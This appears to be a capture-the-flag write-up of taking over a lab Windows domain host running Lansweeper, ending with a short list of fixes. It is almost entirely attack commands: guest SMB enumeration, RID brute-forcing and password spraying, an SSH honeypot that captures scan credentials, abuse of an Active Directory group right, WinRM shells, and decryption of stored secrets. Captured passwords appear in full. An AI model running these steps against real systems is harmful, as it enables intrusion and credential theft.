Configured a scan target using our VPN IP, SSH on port 2022, and linked all credentials under **Map Credential**.
INVENTORY.sweep.vl, sweep.vlnxc smb 10.129.234.177 -u '' -p '' --generate-hosts-file /etc/hosts
smbmap -H 10.129.234.177 -d 'sweep.vl' -u 'guest' -p ''
Shares of interest:
Lansweeper$DefaultPackageShare$Accessed DefaultPackageShare$:
smbclient //10.129.234.177/DefaultPackageShare$ -N
Found VBS scripts:
Wallpaper.vbsCopyFile.vbsCmpDesc.vbsRID brute and username list:
nxc smb 10.129.234.177 -u guest -p '' --rid-brute | grep SidTypeUser | cut -d'\' -f2 | cut -d' ' -f1 > users.txt
nxc smb 10.129.234.177 -u 'users.txt' -p 'users.txt' --continue-on-success --no-brute
Valid Credentials:
intern / internsmbmap -H 10.129.234.177 -d 'sweep.vl' -u 'intern' -p 'intern'
Web UI:
http://inventory.sweep.vl:81
Logged into Lansweeper with intern:intern.
Configured a scan target using our VPN IP, SSH on port 2022, and linked all credentials under Map Credential.
Installed sshesame:
apt install sshesame
wget -qO sshesame.conf https://github.com/jaksi/sshesame/raw/master/sshesame.yaml
Edited config and removed line 37 (split_host_port: false) due to a parsing bug.
Ran honeypot:
sshesame --config sshesame.conf
Captured credentials when Lansweeper scanned:
svc_inventory_lnx / 0|5m-U6?/uAXValidated:
nxc smb inventory.sweep.vl -u svc_inventory_lnx -p '0|5m-U6?/uAX'
bloodhound-python -u 'svc_inventory_lnx' -p '0|5m-U6?/uAX' -d 'sweep.vl' -c All -ns 10.129.234.177 --dns-tcp --zip
svc_inventory_lnx ∈ Lansweeper Discovery.Lansweeper Discovery has GenericAll on Lansweeper Admins.Lansweeper Admins ∈ Remote Management Users.Added account to Lansweeper Admins:
bloodyAD --host inventory.sweep.vl -d sweep.vl -u svc_inventory_lnx -p '0|5m-U6?/uAX' add groupMember "Lansweeper Admins" svc_inventory_lnx
WinRM shell:
evil-winrm -i inventory.sweep.vl -u svc_inventory_lnx -p '0|5m-U6?/uAX'
User flag:
type C:\user.txt
Located encrypted web.config:
cd 'C:\Program Files (x86)\Lansweeper'
cat Website\web.config
Used SharpLansweeperDecrypt:
git clone https://github.com/Yeeb1/SharpLansweeperDecrypt.git
Uploaded and ran:
cd C:\Windows\Tasks
upload LansweeperDecrypt.ps1
.\LansweeperDecrypt.ps1
Recovered:
svc_inventory_win / 4^56!sK&}eA?WinRM as admin:
evil-winrm -i inventory.sweep.vl -u svc_inventory_win -p '4^56!sK&}eA?'
Root flag:
type C:\Users\Administrator\Desktop\root.txt
User Flag: C:\user.txt (value not recorded in PDF)
Root Flag: C:\Users\Administrator\Desktop\root.txt (value not recorded in PDF)
Disable SMB Guest Access
Secure Lansweeper Scan Credentials
Fix AD Group Misdelegation
Lansweeper Discovery had GenericAll over Lansweeper Admins.Protect Secrets in web.config